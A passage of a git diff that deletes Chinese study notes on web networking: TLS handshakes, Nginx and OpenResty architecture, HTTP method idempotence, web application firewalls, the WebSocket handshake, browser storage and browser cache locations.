复杂的多,浏览器和服务器会在握手过程中协商 TLS 版本号、随机数、密码套件等信息,然后交换证书和密钥参数,最终双方协商得到会话密钥,用于后续的混合加密系统。 - -**变更密码规范协议(Change Cipher Spec Protocol)**,它非常简单,就是一个“通知”,告诉对方,后续的数据都将使用加密保护。那么反过来,在它之前,数据都是明文的。 - -下面的这张图简要地描述了 TLS 的握手过程,其中每一个“框”都是一个记录,多个记录组合成一个 TCP 包发送。所以,最多经过两次消息往返(4 个消息)就可以完成握手,然后就可以在安全的通信环境里发送 HTTP 报文,实现 HTTPS 协议。 - -img - -## ECDHE 握手过程 - -![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/9caba6d4b527052bbe7168ed4013011e.png) - -## RSA 握手过程 - -![img](https://my-doc-1259409954.file.myqcloud.com/MyImages/cb9a89055eadb452b7835ba8db7c3ad2.png) - -## 双向认证 - -到这里 TLS 握手就基本讲完了。不过上面说的是“单向认证”握手过程,**只认证了服务器的身份,而没有认证客户端的身份。**这是因为通常单向认证通过后已经建立了安全通信,用账号、密码等简单的手段就能够确认用户的真实身份。 - -但为了防止账号、密码被盗,有的时候(比如网上银行)还会使用 U 盾给用户颁发客户端证书,实现“**双向认证**”,这样会更加安全。 - -双向认证的流程也没有太多变化,只是在“Server Hello Done”之后,“Client Key Exchange”之前,客户端要发送“Client Certificate”消息,服务器收到后也把证书链走一遍,验证客户端的身份。 - -## 小结 - -- HTTPS 协议会先与服务器执行 TCP 握手,然后执行 TLS 握手,才能建立安全连接; -- 握手的目标是安全地交换对称密钥,需要三个随机数,第三个随机数“Pre-Master”必须加密传输,绝对不能让黑客破解; -- “Hello”消息交换随机数,“Key Exchange”消息交换“Pre-Master”; -- “Change Cipher Spec”之前传输的都是明文,之后都是对称密钥加密的密文。 - -对于TLS 1.3 - -- 为了兼容 1.1、1.2 等“老”协议,TLS1.3 会“伪装”成 TLS1.2,新特性在“扩展”里实现; - -- 1.1、1.2 在实践中发现了很多安全隐患,所以 TLS1.3 大幅度删减了加密算法,只保留了 ECDHE、AES、ChaCha20、SHA-2 等极少数算法,强化了安全; - -- TLS1.3 也简化了握手过程,完全握手只需要一个消息往返,提升了性能。 diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/Nginx\357\274\232\351\253\230\346\200\247\350\203\275\347\232\204Web\346\234\215\345\212\241\345\231\250.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/Nginx\357\274\232\351\253\230\346\200\247\350\203\275\347\232\204Web\346\234\215\345\212\241\345\231\250.md" deleted file mode 100644 index e0cd079c..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/Nginx\357\274\232\351\253\230\346\200\247\350\203\275\347\232\204Web\346\234\215\345\212\241\345\231\250.md" +++ /dev/null @@ -1,75 +0,0 @@ ---- -date: 2022-05-14 -category: -- Network ---- - -# Nginx:高性能的Web服务器 - -Web 服务器就那么几款,目前市面上主流的只有两个:Apache 和 Nginx,两者合计占据了近 90% 的市场份额。 - -今天我要说的就是其中的 Nginx,它是 Web 服务器的“后起之秀”,虽然比 Apache 小了 10 岁,但增长速度十分迅猛,已经达到了与 Apache“平起平坐”的地位,而在“Top Million”网站中更是超过了 Apache,拥有超过 50% 的用户。 - -在这里必须要说一下 Nginx 的正确发音,它应该读成“Engine X”,但我个人感觉“X”念起来太“拗口”,还是比较倾向于读做“Engine ks”,这也与 UNIX、Linux 的发音一致。 - -## 进程池 - -Nginx 是个“轻量级”的 Web 服务器,“轻量级”是相对于“重量级”而言的。“重量级”就是指服务器进程很“重”,占用很多资源,当处理 HTTP 请求时会消耗大量的 CPU 和内存,受到这些资源的限制很难提高性能。而 Nginx 作为“轻量级”的服务器,它的 CPU、内存占用都非常少,同样的资源配置下就能够为更多的用户提供服务,其奥秘在于它独特的工作模式。 - -![img](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205142025088.png) - -在 Nginx 之前,Web 服务器的工作模式大多是“Per-Process”或者“Per-Thread”,对每一个请求使用单独的进程或者线程处理。这就存在创建进程或线程的成本,还会有进程、线程“上下文切换”的额外开销。如果请求数量很多,CPU 就会在多个进程、线程之间切换时“疲于奔命”,平白地浪费了计算时间。 - -Nginx 则完全不同,“一反惯例”地没有使用多线程,而是使用了“**进程池 + 单线程**”的工作模式。 - -**Nginx 在启动的时候会预先创建好固定数量的 worker 进程,在之后的运行过程中不会再 fork 出新进程,这就是进程池,而且可以自动把进程“绑定”到独立的 CPU 上,这样就完全消除了进程创建和切换的成本,能够充分利用多核 CPU 的计算能力。** - -在进程池之上,还有一个“master”进程,专门用来管理进程池。用来监控进程,自动恢复发生异常的 worker,保持进程池的稳定和服务能力。 - -master 进程完全是 Nginx 自行用 C 语言实现的,这就摆脱了外部的依赖,简化了 Nginx 的部署和配置。 - -## I/O 多路复用 - -如果你用 Java、C 等语言写过程序,一定很熟悉“多线程”的概念,使用多线程能够很容易实现并发处理。但多线程也有一些缺点,除了刚才说到的“上下文切换”成本,还有编程模型复杂、数据竞争、同步等问题,写出正确、快速的多线程程序并不是一件容易的事情。 - -> 进程、线程上下文切换时的成本的,为什么 Nginx 要尽量避免? -> -> 当从一个任务切换到另一个任务,当前任务的上下文,如堆栈,指令指针等都要保存起来,以便下次任务时恢复,然后再把另一个任务的堆栈加载进来,如果有大量的上下文切换,就会影响性能。 - -所以 Nginx 就选择了单线程的方式,带来的好处就是开发简单,没有互斥锁的成本,减少系统消耗。 - -这要归功于 Nginx 利用了 Linux 内核里的一件“神兵利器”**,I/O 多路复用接口,“大名鼎鼎”的 epoll。** - -Web 服务器从根本上来说是“I/O 密集型”而不是“CPU 密集型”,处理能力的关键在于网络收发而不是 CPU 计算(这里暂时不考虑 HTTPS 的加解密),而网络 I/O 会因为各式各样的原因不得不等待,比如数据还没到达、对端没有响应、缓冲区满发不出去等等。 - -Nginx 里使用的 epoll,就好像是 HTTP/2 里的“多路复用”技术,它把多个 HTTP 请求处理打散成碎片,都“复用”到一个单线程里,不按照先来后到的顺序处理,而是只当连接上真正可读、可写的时候才处理,如果可能发生阻塞就立刻切换出去,处理其他的请求。 - -**Nginx 就完全消除了 I/O 阻塞,把 CPU 利用得“满满当当”,又因为网络收发并不会消耗太多 CPU 计算能力,也不需要切换进程、线程,所以整体的 CPU 负载是相当低的。** - -![img](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205142033336.png) - -epoll 还有一个特点,大量的连接管理工作都是在操作系统内核里做的,这就减轻了应用程序的负担,所以 Nginx 可以为每个连接只分配很小的内存维护状态,即使有几万、几十万的并发连接也只会消耗几百 M 内存,而其他的 Web 服务器这个时候早就“Memory not enough”了。 - -## 多阶段处理 - -Nginx 在内部也采用的是“化整为零”的思路,把整个 Web 服务器分解成了多个“功能模块”,就好像是乐高积木,可以在配置文件里任意拼接搭建,从而实现了高度的灵活性和扩展性。 - -Nginx 的 HTTP 处理有四大类模块: - -- handler 模块:直接处理 HTTP 请求; - -- filter 模块:不直接处理请求,而是加工过滤响应报文; - -- upstream 模块:实现反向代理功能,转发请求到其他服务器; - -- balance 模块:实现反向代理时的负载均衡算法。 - -不知道你有没有了解过“设计模式”这方面的知识,其中有一个非常有用的模式叫做“职责链”。它就好像是工厂里的流水线,原料从一头流入,线上有许多工人会进行各种加工处理,最后从另一头出来的就是完整的产品。 - -Nginx 里的 handler 模块和 filter 模块就是按照“职责链”模式设计和组织的,HTTP 请求报文就是“原材料”,各种模块就是工厂里的工人,走完模块构成的“流水线”,出来的就是处理完成的响应报文。 - -![img](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205142042437.png) - -> Nginx 用进程、epoll、模块流水线处理 HTTP 请求的过程。 -> -> Nginx 启动进程,一个master,多个worker,创建epoll,监听端口,多路复用来管理http请求,http请求到达worker内部,通过模块流水线处理,最后返回http响应。 diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/OpenResty\357\274\232\346\233\264\347\201\265\346\264\273\347\232\204Web\346\234\215\345\212\241\345\231\250.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/OpenResty\357\274\232\346\233\264\347\201\265\346\264\273\347\232\204Web\346\234\215\345\212\241\345\231\250.md" deleted file mode 100644 index 32ff2c60..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/OpenResty\357\274\232\346\233\264\347\201\265\346\264\273\347\232\204Web\346\234\215\345\212\241\345\231\250.md" +++ /dev/null @@ -1,52 +0,0 @@ ---- -date: 2022-05-14 -category: -- Network ---- - -# OpenResty:更灵活的Web服务器 - -Nginx 的服务管理思路延续了当时的流行做法,使用磁盘上的静态配置文件,所以每次修改后必须重启才能生效。 - -这在业务频繁变动的时候是非常致命的(例如流行的微服务架构),特别是对于拥有成千上万台服务器的网站来说,仅仅增加或者删除一行配置就要分发、重启所有的机器,对运维是一个非常大的挑战,要耗费很多的时间和精力,成本很高,很不灵活,难以“随需应变”。 - -有没有这样的一个 Web 服务器,它有 Nginx 的优点却没有 Nginx 的缺点,既轻量级、高性能,又灵活、可动态配置呢?这就是 OpenResty,它是一个“更好更灵活的 Nginx”。 - -## OpenResty 是什么? - -OpenResty 诞生于 2009 年,到现在刚好满 10 周岁。它的创造者是当时就职于某宝的“神级”程序员章亦春,网名叫“agentzh”。 - -OpenResty 并不是一个全新的 Web 服务器,而是基于 Nginx,**它利用了 Nginx 模块化、可扩展的特性,开发了一系列的增强模块,并把它们打包整合,形成了一个“一站式”的 Web 开发平台。** - -虽然 OpenResty 的核心是 Nginx,但它又超越了 Nginx,关键就在于其中的 ngx_lua 模块,把小巧灵活的 Lua 语言嵌入了 Nginx,可以用脚本的方式操作 Nginx 内部的进程、多路复用、阶段式处理等各种构件。 - -### 动态的 Lua - -刚才说了,OpenResty 里的一个关键模块是 ngx_lua,它为 Nginx 引入了脚本语言 Lua。Lua 是一个比较“小众”的语言,虽然历史比较悠久,但名气却没有 PHP、Python、JavaScript 大,这主要与它的自身定位有关。 - -img - -作为脚本语言,Lua 还有一个重要的“**代码热加载**”特性,不需要重启进程,就能够从磁盘、Redis 或者任何其他地方加载数据,随时替换内存里的代码片段。这就带来了“**动态配置**”,让 OpenResty 能够永不停机,在微秒、毫秒级别实现配置和业务逻辑的实时更新,比起 Nginx 秒级的重启是一个极大的进步。 - -### 阶段式处理 - -和 Nginx 一样,OpenResty 也使用“流水线”来处理 HTTP 请求,底层的运行基础是 Nginx 的“阶段式处理”,但它又有自己的特色。 - -Nginx 的“流水线”是由一个个 C 模块组成的,只能在静态文件里配置,开发困难,配置麻烦(相对而言)。而 OpenResty 的“流水线”则是由一个个的 Lua 脚本组成的,不仅可以从磁盘上加载,也可以从 Redis、MySQL 里加载,而且编写、调试的过程非常方便快捷。 - -图列出了 OpenResty 的阶段,比起 Nginx,OpenResty 的阶段更注重对 HTTP 请求响应报文的加工和处理。 - -![img](https://mc-web-1259409954.cos.ap-guangzhou.myqcloud.com/MyImages/202205142101511.png) - -## 小结 - -Nginx 依赖于磁盘上的静态配置文件,修改后必须重启才能生效,缺乏灵活性; - -OpenResty 基于 Nginx,打包了很多有用的模块和库,是一个高性能的 Web 开发平台; - -OpenResty 的工作语言是 Lua,它小巧灵活,执行效率高,支持“代码热加载”; - -OpenResty 的核心编程范式是“同步非阻塞”,使用协程,不需要异步回调函数; - -OpenResty 也使用“阶段式处理”的工作模式,但因为在阶段里执行的都是 Lua 代码,所以非常灵活,配合 Redis 等外部数据库能够实现各种动态配置。 - diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/RESTful \344\270\213\350\257\267\346\261\202\346\226\271\346\263\225\347\232\204\345\271\202\347\255\211\346\200\247.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/RESTful \344\270\213\350\257\267\346\261\202\346\226\271\346\263\225\347\232\204\345\271\202\347\255\211\346\200\247.md" deleted file mode 100644 index edc5da61..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/RESTful \344\270\213\350\257\267\346\261\202\346\226\271\346\263\225\347\232\204\345\271\202\347\255\211\346\200\247.md" +++ /dev/null @@ -1,47 +0,0 @@ ---- -date: 2022-08-12 -category: -- Network ---- - -# RESTful 下请求方法的幂等性 - -## 概念阐述 - -一个 HTTP 方法是**幂等**的,指的是同样的请求被执行一次与连续执行多次的效果是一样的,服务器的状态也是一样的。换句话说就是,幂等方法不应该具有副作用(统计用途除外)。所有的 safe 方法也都是幂等的。 - -幂等性只与后端服务器的实际状态有关,而每一次请求接收到的状态码不一定相同。需要注意的是,服务器不一定会确保请求方法的幂等性,有些应用可能会错误地打破幂等性约束。 - -### Safe(安全) - -如果说一个 HTTP 方法是`安全`的,是指这是个不会修改服务器的数据的方法。也就是说,这是一个对服务器只读操作的方法。这些方法是安全的:`GET`,`HEAD` 和 `OPTIONS`。所有安全的方法都是idempotent的,但并非所有幂等方法都是安全的,例如,`PUT` 和 `DELETE` 都是幂等的,但不是安全的。 - -### 分析图表 - -| HTTP Method | Idempotent 幂等 | Safe 安全 | -| ----------- | --------------- | --------- | -| OPTIONS | ✔️ | ✔️ | -| HEAD | ✔️ | ✔️ | -| GET | ✔️ | ✔️ | -| POST | **❌** | ❌ | -| PUT | ✔️ | ❌ | -| PATCH | **❌** | ❌ | -| DELETE | ✔️ | ❌ | - -## 为什么put和delete是幂等,而patch则是非幂等的? - -### PUT【幂等】 - -```http - PUT /user/1 #修改id为 1 的 user 的全部信息 -``` - -用于更新资源,没有的话则执行创建操作。每次执行请求时都会先判断一下序号为1的User信息是否存在,不存在则创建,否则视为更新。很显然,请求携带的数据每次都是一样的,所以不论请求多少次,最终的结果都是后台存在这么一个资源(同内容覆盖式的更新或创建资源)。 - -### PATCH【非幂等】 - -```http - PATCH /user/1/house/3 #给id为1的user增加3个大房子 -``` - -用于更新资源,即数据实体的一部分属性(局部修改),该数据必然存在,否则失去更新意义。每次执行请求时都会先判断一下序号为1的User信息是否存在,存在则更新数据信息。根据URL,我们需要处理的是将User的house属性增加3,很显然,多次请求时会重复增加,而无法保持为一个确定的值。PATCH 处于不可控的地位,所以说 PUT 方法是幂等的,而 PATCH 方法不是幂等的。 diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/WAF \347\275\221\347\273\234\345\272\224\347\224\250\351\230\262\347\201\253\345\242\231.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/WAF \347\275\221\347\273\234\345\272\224\347\224\250\351\230\262\347\201\253\345\242\231.md" deleted file mode 100644 index ef646101..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/WAF \347\275\221\347\273\234\345\272\224\347\224\250\351\230\262\347\201\253\345\242\231.md" +++ /dev/null @@ -1,36 +0,0 @@ ---- -date: 2022-08-12 -category: -- Network ---- - -# WAF 网络应用防火墙 - -你可能对传统的“防火墙”比较熟悉。**传统“防火墙”工作在三层或者四层**,隔离了外网和内网,使用预设的规则,只允许某些特定 IP 地址和端口号的数据包通过,拒绝不符合条件的数据流入或流出内网,实质上是**一种网络数据过滤设备。** - -WAF 也是一种“防火墙”,但它工作在七层,看到的不仅是 IP 地址和端口号,还能看到整个 HTTP 报文,所以就能够对报文内容做更深入细致的审核,使用更复杂的条件、规则来过滤数据。 - -说白了,WAF 就是一种**“HTTP 入侵检测和防御系统”。** - -![img](https://fs.lwmc.net/uploads/2023/04/1681977143156-202304201552584.webp) - -通常一款产品能够称为 WAF,要具备下面的一些功能: - -- IP 黑名单和白名单,拒绝黑名单上地址的访问,或者只允许白名单上的用户访问; -- URI 黑名单和白名单,与 IP 黑白名单类似,允许或禁止对某些 URI 的访问; -- 防护 DDoS 攻击,对特定的 IP 地址限连限速; -- 过滤请求报文,防御“代码注入”攻击; -- 过滤响应报文,防御敏感信息外泄; -- 审计日志,记录所有检测到的入侵操作。 - -它就像是平时编写程序时必须要做的函数入口参数检查,拿到 HTTP 请求、响应报文,用字符串处理函数看看有没有关键字、敏感词,或者用正则表达式做一下模式匹配,命中了规则就执行对应的动作,比如返回 403/404。 - -## 全面的 WAF 解决方案 - -这里我就要“隆重”介绍一下 WAF 领域里的最顶级产品了:ModSecurity,它可以说是 WAF 界“事实上的标准”。 - -ModSecurity 是一个开源的、生产级的 WAF 工具包,历史很悠久,比 Nginx 还要大几岁。它开始于一个私人项目,后来被商业公司 Breach Security 收购,现在则是由 TrustWave 公司的 SpiderLabs 团队负责维护。 - -ModSecurity 是一个开源的、生产级的 WAF 产品,核心组成部分是“规则引擎”和“规则集”,两者的关系有点像杀毒引擎和病毒特征库; - -WAF 实质上是模式匹配与数据过滤,所以会消耗 CPU,增加一些计算成本,降低服务能力,使用时需要在安全与性能之间找到一个“平衡点”。 diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/WebSocket.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/WebSocket.md" deleted file mode 100644 index bcc1b27c..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/WebSocket.md" +++ /dev/null @@ -1,101 +0,0 @@ ---- -date: 2022-08-12 -category: -- Network ---- - -# WebSocket - -“WebSocket”就是运行在“Web”,也就是 HTTP 上的 Socket 通信规范,提供与“TCP Socket”类似的功能,使用它就可以像“TCP Socket”一样调用下层协议栈,任意地收发数据。 - -更准确地说,“WebSocket”是一种基于 TCP 的轻量级网络通信协议,在地位上是与 HTTP“平级”的。 - -## 为什么要有 WebSocket - -不过,已经有了被广泛应用的 HTTP 协议,为什么要再出一个 WebSocket 呢?它有哪些好处呢?其实 WebSocket 与 HTTP/2 一样,都是为了解决 HTTP 某方面的缺陷而诞生的。HTTP/2 针对的是“队头阻塞”,而 WebSocket 针对的是“请求 - 应答”通信模式。 - -“请求 - 应答”是一种“半双工”的通信模式,虽然可以双向收发数据,但同一时刻只能一个方向上有动作,传输效率低。更关键的一点,它是一种“被动”通信模式,服务器只能“被动”响应客户端的请求,无法主动向客户端发送数据。 - -虽然后来的 HTTP/2、HTTP/3 新增了 Stream、Server Push 等特性,但“请求 - 应答”依然是主要的工作方式。这就导致 HTTP 难以应用在动态页面、即时消息、网络游戏等要求“实时通信”的领域。 - -在 WebSocket 出现之前,在浏览器环境里用 JavaScript 开发实时 Web 应用很麻烦。因为浏览器是一个“受限的沙盒”,不能用 TCP,只有 HTTP 协议可用,所以就出现了很多“变通”的技术,**“轮询”(polling)**就是比较常用的的一种。 - -简单地说,轮询就是不停地向服务器发送 HTTP 请求,问有没有数据,有数据的话服务器就用响应报文回应。如果轮询的频率比较高,那么就可以近似地实现“实时通信”的效果。但轮询的缺点也很明显,反复发送无效查询请求耗费了大量的带宽和 CPU 资源,非常不经济。 - -所以,为了克服 HTTP“请求 - 应答”模式的缺点,WebSocket 就“应运而生”了。它原来是 HTML5 的一部分,后来“自立门户”,形成了一个单独的标准。 - -## WebSocket 的特点 - -WebSocket 是一个真正“全双工”的通信协议,与 TCP 一样,客户端和服务器都可以随时向对方发送数据,而不用像 HTTP“你拍一,我拍一”那么“客套”。于是,服务器就可以变得更加“主动”了。一旦后台有新的数据,就可以立即“推送”给客户端,不需要客户端轮询,“实时通信”的效率也就提高了。 - -WebSocket 采用了二进制帧结构,语法、语义与 HTTP 完全不兼容,但因为它的主要运行环境是浏览器,为了便于推广和应用,就不得不“搭便车”,在使用习惯上尽量向 HTTP 靠拢,这就是它名字里“Web”的含义。 - -服务发现方面,WebSocket 没有使用 TCP 的“IP 地址 + 端口号”,而是延用了 HTTP 的 URI 格式,但开头的协议名不是“http”,引入的是两个新的名字:“ws”和“wss”,分别表示明文和加密的 WebSocket 协议。 - -WebSocket 的默认端口也选择了 80 和 443,因为现在互联网上的防火墙屏蔽了绝大多数的端口,只对 HTTP 的 80、443 端口“放行”,所以 WebSocket 就可以“伪装”成 HTTP 协议,比较容易地“穿透”防火墙,与服务器建立连接。 - -```tex -ws://www.chrono.com -ws://www.chrono.com:8080/srv -wss://www.chrono.com:445/im?user_id=xxx -``` - -要注意的一点是,WebSocket 的名字容易让人产生误解,虽然大多数情况下我们会在浏览器里调用 API 来使用 WebSocket,但它不是一个“调用接口的集合”,而是一个通信协议,所以我觉得把它理解成“**TCP over Web**”会更恰当一些。 - -## WebSocket 的帧结构 - -WebSocket 用的也是二进制帧,有之前 HTTP/2、HTTP/3 的经验,相信你这次也能很快掌握 WebSocket 的报文结构。不过 WebSocket 和 HTTP/2 的关注点不同,WebSocket 更侧重于“实时通信”,而 HTTP/2 更侧重于提高传输效率,所以两者的帧结构也有很大的区别。WebSocket 虽然有“帧”,但却没有像 HTTP/2 那样定义“流”,也就不存在“多路复用”“优先级”等复杂的特性,而它自身就是“全双工”的,也就不需要“服务器推送”。所以综合起来,WebSocket 的帧学习起来会简单一些。 - -下图就是 WebSocket 的帧结构定义,长度不固定,最少 2 个字节,最多 14 字节,看着好像很复杂,实际非常简单。 - -img - -其实 WebSocket 的帧头就四个部分:“结束标志位 + 操作码 + 帧长度 + 掩码” - -## WebSocket 的握手 :star: - -和 TCP、TLS 一样,WebSocket 也要有一个握手过程,然后才能正式收发数据。 - -这里它还是搭上了 HTTP 的“便车”,利用了 HTTP 本身的“协议升级”特性,“伪装”成 HTTP,这样就能绕过浏览器沙盒、网络防火墙等等限制,这也是 WebSocket 与 HTTP 的另一个重要关联点。 - -WebSocket 的握手是一个标准的 HTTP GET 请求,但要带上两个协议升级的专用头字段: - -- “Connection: Upgrade”,表示要求协议“升级”; -- “Upgrade: websocket”,表示要“升级”成 WebSocket 协议。 - -另外,为了防止普通的 HTTP 消息被“意外”识别成 WebSocket,握手消息还增加了两个额外的认证用头字段(所谓的“挑战”,Challenge): - -- Sec-WebSocket-Key:一个 Base64 编码的 16 字节随机数,作为简单的认证密钥;Sec- -- WebSocket-Version:协议的版本号,当前必须是 13。 - -img - -服务器收到 HTTP 请求报文,看到上面的四个字段,就知道这不是一个普通的 GET 请求,而是 WebSocket 的升级请求,于是就不走普通的 HTTP 处理流程,而是构造一个特殊的“101 Switching Protocols”响应报文,通知客户端,接下来就不用 HTTP 了,全改用 WebSocket 协议通信。(有点像 TLS 的“Change Cipher Spec”) - -WebSocket 的握手响应报文也是有特殊格式的,要用字段“Sec-WebSocket-Accept”验证客户端请求报文,同样也是为了防止误连接。 - -具体的做法是把请求头里“Sec-WebSocket-Key”的值,加上一个专用的 UUID “258EAFA5-E914-47DA-95CA-C5AB0DC85B11”,再计算 SHA-1 摘要。 - -``` -encode_base64( - sha1( - Sec-WebSocket-Key + '258EAFA5-E914-47DA-95CA-C5AB0DC85B11' )) -``` - -客户端收到响应报文,就可以用同样的算法,比对值是否相等,如果相等,就说明返回的报文确实是刚才握手时连接的服务器,认证成功。 - -握手完成,后续传输的数据就不再是 HTTP 报文,而是 WebSocket 格式的二进制帧了。 - -![img](https://fs.lwmc.net/uploads/2023/04/1681970963889-202304201409520.webp) - -## 总结 - -浏览器是一个“沙盒”环境,有很多的限制,不允许建立 TCP 连接收发数据,而有了 WebSocket,我们就可以在浏览器里与服务器直接建立“TCP 连接”,获得更多的自由。不过自由也是有代价的,WebSocket 虽然是在应用层,但使用方式却与“TCP Socket”差不多,过于“原始”,用户必须自己管理连接、缓存、状态,开发上比 HTTP 复杂的多,所以是否要在项目中引入 WebSocket 必须慎重考虑。HTTP 的“请求 - 应答”模式不适合开发“实时通信”应用。 - -> WebSocket 和 HTTP/2 都是用来弥补HTTP协议的一些缺陷和不足,WebSocket 主要解决双向通信、全双工问题,HTTP/2 主要解决传输效率的问题,两者在二进制帧的格式上也不太一样,HTTP/2 有多路复用、优先级和流的概念。 - -1. HTTP 的“请求 - 应答”模式不适合开发“实时通信”应用,效率低,难以实现动态页面,所以出现了 WebSocket; -2. WebSocket 是一个“全双工”的通信协议,相当于对 TCP 做了一层“薄薄的包装”,让它运行在浏览器环境里;WebSocket 使用兼容 HTTP 的 URI 来发现服务,但定义了新的协议名“ws”和“wss”,端口号也沿用了 80 和 443; -3. WebSocket 使用二进制帧,结构比较简单,特殊的地方是有个“掩码”操作,客户端发数据必须掩码,服务器则不用; -4. WebSocket 利用 HTTP 协议实现连接握手,发送 GET 请求要求“协议升级”,握手过程中有个非常简单的认证机制,目的是防止误连接。 - diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\345\211\215\347\253\257\345\255\230\345\202\250\346\226\271\346\241\210\344\270\200\350\247\210.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\345\211\215\347\253\257\345\255\230\345\202\250\346\226\271\346\241\210\344\270\200\350\247\210.md" deleted file mode 100644 index 4105a87a..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\345\211\215\347\253\257\345\255\230\345\202\250\346\226\271\346\241\210\344\270\200\350\247\210.md" +++ /dev/null @@ -1,49 +0,0 @@ ---- -date: 2022-08-12 -category: -- Network ---- -# 前端存储方案一览 - -### **Cookies** - -在HTML5标准前本地储存的主要的也是最早提出的⽅式,优点是兼容性好,请求头⾃带cookie⽅便(使用fetch的话需要额外配置),缺点是⼤⼩只有4k,⾃动请求头加⼊cookie浪费流量,而且每个domain限制20个cookie,使⽤起来麻烦,需要自行封装相关方法。 - -- Cookie一旦创建成功,名称就无法修改 -- Cookie是无法跨域名的,但是子域名之间共享 -- 有安全问题,如果Cookie被拦截了,那就可获得session的所有信息,预防方式包括设置httpOnly -- Cookie在请求一个新的页面的时候都会被发送过去 - -跨域名共享方案: - -- Nginx反向代理 -- 单个站点登入后,通过setCookie的方式,在其他网站上写上Cookie,同时服务端的Session使用同一个节点 - -### **LocalStorage** - -HTML5加⼊的以键值对(Key-Value)为标准的⽅式,优点是操作⽅便,永久性储存(除⾮⼿动删除),⼤⼩为5M,兼容IE8+ 。 - -如果浏览器设置为隐私模式,那我们将无法读取到LocalStorage,同时受到同源策略的限制,非同源页面无法访问。 - -### **SessionStorage** - -与LocalStorage基本类似,区别是SessionStorage当⻚⾯关闭后会被清理,⽽且与cookie、LocalStorage不同,其主要用于临时保存同一窗口(或标签页)的数据,刷新页面时不会删除,关闭窗口或标签页之后将会删除这些数据。 - -### [**Web SQL**](https://www.w3.org/TR/webdatabase/) - -2010年被W3C**废弃**的本地数据库数据存储⽅案,但是主流浏览器(⽕狐除外)都已经有了相关的实现,Web SQL类似于SQLite,是真正意义上的关系型数据库。Web SQL 数据库 API 并不是 HTML5 规范的一部分,但是它是一个独立的规范,引入了一组使用 SQL 操作客户端数据库的 APIs。 - -> > Beware. This specification is no longer in active maintenance and the Web Applications Working Group does not intend to maintain it further. -> -> 本文档是 2010 年 11 月 18 日 Web SQL 数据库工作组的说明。作为工作组说明发布并不意味着得到 W3C 成员的认可。这是一份草稿文件,可能随时被其他文件更新、替换或废止。除了正在进行的工作之外,引用本文件是不恰当的。W3C [Web 应用程序工作组](http://www.w3.org/2008/webapps/)是负责本文档的 W3C 工作组。 - -### [**IndexedDB**](https://developer.mozilla.org/zh-CN/docs/Web/API/IndexedDB_API) - -IndexedDB 是一种底层 API,用于在客户端存储大量的结构化数据(也包括文件/二进制大型对象(blobs))。其是被正式纳⼊HTML5标准的数据库储存⽅案,它是NoSQL数据库,⽤键值对进⾏储存。 - -- 键值对储存 -- 异步 -- 支持事务 -- 同源限制 -- 储存空间大 -- 支持二进制储存 diff --git "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\346\265\217\350\247\210\345\231\250\347\274\223\345\255\230\346\234\272\345\210\266-\347\274\223\345\255\230\344\275\215\347\275\256.md" "b/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\346\265\217\350\247\210\345\231\250\347\274\223\345\255\230\346\234\272\345\210\266-\347\274\223\345\255\230\344\275\215\347\275\256.md" deleted file mode 100644 index aea6ae00..00000000 --- "a/src/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\346\265\217\350\247\210\345\231\250\347\274\223\345\255\230\346\234\272\345\210\266-\347\274\223\345\255\230\344\275\215\347\275\256.md" +++ /dev/null @@ -1,40 +0,0 @@ ---- -date: 2022-08-12 -category: -- Network ---- - -# 浏览器缓存机制-缓存位置 - -从缓存位置上来说分为四种,并且各自有优先级,当依次查找缓存且都没有命中的时候,才会去请求网络。 - -- Service Worker -- Memory Cache -- Disk Cache -- Push Cache - -### **Service Worker** - -Service Worker 是运行在浏览器背后的独立线程,一般可以用来实现缓存功能。使用 Service Worker的话,传输协议必须为 HTTPS。因为 Service Worker 中涉及到请求拦截,所以必须使用 HTTPS 协议来保障安全。**Service Worker 的缓存与浏览器其他内建的缓存机制不同,它可以让我们自由控制缓存哪些文件、如何匹配缓存、如何读取缓存,并且缓存是持续性的**。 - -### **Memory Cache** - -Memory Cache 也就是内存中的缓存,主要包含的是当前中页面中已经抓取到的资源,例如页面上已经下载的样式、脚本、图片等。读取内存中的数据肯定比磁盘快,内存缓存虽然读取高效,可是缓存持续性很短,**会随着进程的释放而释放**。 **一旦我们关闭 Tab 页面,内存中的缓存也就被释放了**。 - -### **Disk Cache** - -**Disk Cache 胜在容量和存储时效性上**,针对容量大,读取速度慢,但是时效长的资源。此类资源是从磁盘当中取出的,此资源不会随着该页面的关闭而释放掉,因为是存在硬盘当中的,下次打开仍会from disk cache。 - -相比于内存缓存,硬盘缓存会根据HTTP头部中的字段判断哪些资源需要缓存,哪些可以直接使用或者需要重新请求。 - -### **Push Cache** - -Push Cache 是 HTTP/2 中的内容,是HTTP2 在 server push 